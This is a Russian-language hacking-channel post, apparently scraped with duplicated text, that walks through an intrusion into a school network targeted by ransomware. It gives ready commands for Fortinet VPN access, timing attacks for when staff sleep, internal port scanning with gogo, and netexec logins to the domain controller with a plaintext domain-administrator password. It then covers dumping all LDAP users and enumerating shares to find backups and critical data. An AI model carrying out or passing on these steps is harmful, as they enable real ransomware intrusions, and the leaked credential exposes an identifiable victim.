LIMB
Автор: ArmCorp
Специально для LIMB
Ку-ку! Рубрика Еbashим сетки. Кент прислал таргет школы, которую шифруют, а ей похеру бэкапы оффлайн есть, поэтому не платит. И мы на примере этого таргета с вами потренируемся.
Проверим часовой пояс на хосте какой, чтобы работать когда все спят)
у них сейчас 17:09 а у нас час ночи. Зря мы полезли.
Вот собственно наши роуты
И чтобы не ждать прогоним распространенные порты.
Да, шумно, да не порядочно. Но нам особо плевать. Мы заранее знаем что эта сетка никчемная и никто платить нам не будет=))) У них есть бэкапы.
Первое что я попытался сделать это провалиться в хоть какую то веб панель с кредами домейн админа. Но к сожалению не получилось.
Проверил открыт ли 88 порт. На хосте 172.16.253.241 открыт - это DC. Проверим являемся ли мы домейн админом.
Ну отлично.
Выгрузим всех пользователей.
Далее с домейн админом глянем какие шары нам доступны.
Обязательно смотрим на название хоста чтобы понять где в теории может быть крит.инфа/бэкапы/документы
Кстати openconnect автоматически прописывает DC в
Дальше остается ручками лазить по шарам и искать крит.инфу.
пишите если продолжать писать
Специально для LIMB
Ку-ку! Рубрика Еbashим сетки. Кент прислал таргет школы, которую шифруют, а ей похеру бэкапы оффлайн есть, поэтому не платит. И мы на примере этого таргета с вами потренируемся.
sudo openconnect --protocol=fortinet https://ip:portНе удалось прогрузить медиа
Проверим часовой пояс на хосте какой, чтобы работать когда все спят)
ntpdate -q 172.16.253.241Не удалось прогрузить медиа
у них сейчас 17:09 а у нас час ночи. Зря мы полезли.
Вот собственно наши роуты
- 10.0.0.0/8
- 172.16.0.0/16
- 192.168.10.0/23
совет: если у вас есть доступ к впну от разных пользователей, то и сканнируйте от разных. У некоторых пользователей может быть больше сеток доступно.
gogo -i 172.16.0.0/16 -p- >> g.txtgogo -i 192.168.10.0/23 -p- >> g2.txtНе удалось прогрузить медиа
И чтобы не ждать прогоним распространенные порты.
gogo -i 172.16.0.0/16 -p 22,53,80,88,389,443,445,3389,5900,5910,9401,2179,9191,9192,1433,1434,1695,3311,9392,9393,5000,5001,13782,13783,1500,10000,8080,8443,53810,9443,5989,8889,902,427,8500,9091,3033,9092,8211,636,135gogo -i 192.168.10.0/23 -p 22,53,80,88,389,443,445,3389,5900,5910,9401,2179,9191,9192,1433,1434,1695,3311,9392,9393,5000,5001,13782,13783,1500,10000,8080,8443,53810,9443,5989,8889,902,427,8500,9091,3033,9092,8211,636,135Да, шумно, да не порядочно. Но нам особо плевать. Мы заранее знаем что эта сетка никчемная и никто платить нам не будет=))) У них есть бэкапы.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Первое что я попытался сделать это провалиться в хоть какую то веб панель с кредами домейн админа. Но к сожалению не получилось.
Не удалось прогрузить медиа
Проверил открыт ли 88 порт. На хосте 172.16.253.241 открыт - это DC. Проверим являемся ли мы домейн админом.
netexec smb 172.16.253.241 -u administrator -p "0ftyrtyhty54"Не удалось прогрузить медиа
Ну отлично.
netexec ldap 172.16.253.241 -u administrator -p "0ftyrtyhty54" --usersВыгрузим всех пользователей.
Далее с домейн админом глянем какие шары нам доступны.
netexec smb 172.16.0.0/16 -u administrator -p "pass"Обязательно смотрим на название хоста чтобы понять где в теории может быть крит.инфа/бэкапы/документы
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Кстати openconnect автоматически прописывает DC в
/etc/resolv.conf Не удалось прогрузить медиа
Дальше остается ручками лазить по шарам и искать крит.инфу.
пишите если продолжать писать
👍61
🔥8
😁6
😮14
🤔9
💯14